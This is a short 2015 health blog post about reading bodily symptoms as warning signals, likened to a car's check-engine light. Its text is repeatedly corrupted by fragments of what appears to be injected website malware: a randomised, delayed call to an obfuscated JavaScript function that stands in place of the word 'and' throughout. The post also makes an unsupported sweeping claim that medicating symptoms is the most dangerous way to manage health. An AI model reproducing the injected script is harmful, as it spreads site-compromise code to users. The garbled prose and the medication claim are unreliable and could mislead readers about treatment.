What Is Your Body Telling You?

Posted On : January 13, 2015

Woman beauty bodyDid you know that our bodies were designed to let us know when something is malfunctioning? As simple as it sounds, its signal system is called symptoms. Our brain registers pain when a nerve has pressure on it. Our body holds onto weight when our metabolism is working overtime. We get a fever when it’s fighting an infection. And we are fatigued when our body needs more rest or if it’s using energy to heal.

Understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding what your body is saying is not hard, it’s what we do about it that makes it complicated. In general, our current health care system has taught us to take a pill to quiet these signals. Or to ignore it andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hope it goes away.

This approach to your body causes more pain, more suffering, more scary diagnosis, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more problems. It is the most dangerous andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and costly way to take care of your health.

The simplest way I can explain the mechanics of your body is by looking at it very much like your car. Your symptoms are like the gas light or check engine light. They go off when there’s a problem. If you don’t respond,
parts breakdown.

So how can you best honor what your body is telling you?

Start Listening: It sounds easy, but most people have trained themselves to push on through.

Take the time to understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what is going wrong. This will save you a tremendous amount of time down the road money, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and suffering.

Get Advice: Our bodies are complex. It takes years to understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and them. Make sure you have a doctor that is willing to help you decipher what the body is saying, not just give you a pill to quiet it down.

Don’t Delay: Take care of symptoms when they first happen. Figure out what is wrong quickly andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the solution will be much easier.